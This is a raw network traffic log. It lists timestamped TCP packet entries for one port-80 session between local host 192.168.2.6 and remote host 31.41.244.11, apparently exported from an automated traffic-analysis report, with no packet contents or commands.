Dec 12, 2024 21:50:51.324278116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.324316025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.324357033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.324390888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.326060057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.326113939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.326121092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.326147079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.326575994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.326622009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.326704025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.326744080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.327716112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.327760935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.327826023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.327866077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.328893900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.328939915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.328968048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.329010010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.462541103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.462609053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.462681055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.462730885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.463397026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.463427067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.463438988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.463479042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.464137077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.464179993 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.464315891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.464350939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.465426922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.465442896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.465468884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.465490103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.465857029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.465895891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.466037989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.466073036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.467032909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.467071056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.467231989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.467268944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.467603922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.467626095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.467650890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.467669010 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.468177080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.468218088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.469141006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.469216108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.469288111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.469330072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.469364882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.469403028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.470444918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.470504045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.470536947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.470573902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.471582890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.471623898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.471688032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.471729040 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.472704887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.472774029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.472879887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.472918987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.473927021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.473999023 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.474029064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.474072933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.475017071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.475071907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.475126982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.475163937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.476172924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.476228952 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.476284981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.476326942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.477353096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.477406979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.477435112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.477469921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.478487015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.478527069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.478585005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.478624105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.479634047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.479686975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.479743004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.479784966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.483234882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.483304977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.484354019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.484380960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.484399080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.484415054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.484426022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.484445095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.484467983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.484476089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.484486103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.484524012 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.485450029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.485492945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.485611916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.485652924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.486630917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.486654997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.486680031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.486692905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.487803936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.487833023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.487844944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.487874985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.488914013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.488956928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.489084005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.489125013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.490107059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.490149975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.490252972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.490292072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.491163969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.491205931 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.491338015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.491434097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.492386103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.492419958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.492430925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.492461920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.493534088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.493578911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.493704081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.493741989 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.494720936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.494755030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.494772911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.494796991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.495716095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.495762110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.495891094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.495935917 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.496939898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.496973991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.497025013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.497025013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.498070955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.498115063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.498259068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.498303890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.499264002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.499336004 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.499444008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.499490976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.500359058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.500401974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.500549078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.500591040 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.501707077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.501729965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.501751900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.501773119 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.502722979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.502774000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.502784967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.502830029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.503885031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.503932953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.504046917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.504089117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.505075932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.505095959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.505116940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.505130053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.506022930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.506081104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.506314993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.506359100 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.507405996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.507422924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.507471085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.507805109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.507823944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.507857084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.507884979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510586023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510616064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510629892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510644913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510658979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510680914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510699034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510715961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510724068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510760069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.510780096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.510816097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.512244940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.512278080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.512290001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.512314081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.512963057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.513001919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.513094902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.513129950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.514303923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.514329910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.514345884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.514362097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.516062975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.516088963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.516146898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.516573906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.516599894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.516618013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.516649961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.517601967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.517654896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.518425941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.518471003 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.518781900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.518826008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.518892050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.518929958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.519865990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.519917011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.519975901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.520032883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.521043062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.521095037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.521122932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.521159887 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.674405098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.674460888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.674585104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.674695969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.674705029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.674738884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.674841881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.674875975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.675899029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.675944090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.675976992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.676013947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.677020073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.677057981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.677123070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.677155972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.678158998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.678196907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.678294897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.678329945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.679347038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.679388046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.679435968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.679472923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.680519104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.680558920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.680588007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.680624962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.681608915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.681649923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.681710005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.681747913 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.682810068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.682862043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.682904959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.682944059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.683913946 CET	49953	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:50:51.683931112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.683976889 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.684036016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.684072018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.685060024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.685101032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.685146093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.685182095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.686244965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.686285019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.686353922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.686388016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.687393904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.687436104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.687541962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.687577963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.688505888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.688549042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.688621998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.688663006 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.689668894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.689718962 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.689793110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.689829111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.690917969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.690977097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.690985918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.691047907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.692051888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.692096949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.692224979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.692264080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.693146944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.693185091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.693243027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.693280935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.694283962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.694327116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.694370985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.694406033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.695404053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.695447922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.695516109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.695553064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.696562052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.696602106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.696645021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.696681976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.697724104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.697767019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.697840929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.697876930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.698945045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.698987961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.699032068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.699068069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.700103045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.700154066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.700190067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.700226068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.701167107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.701210022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.701353073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.701390982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.702328920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.702368021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.702415943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:51.702450037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:51.703468084 CET	80	49971	31.41.244.11	192.168.2.6
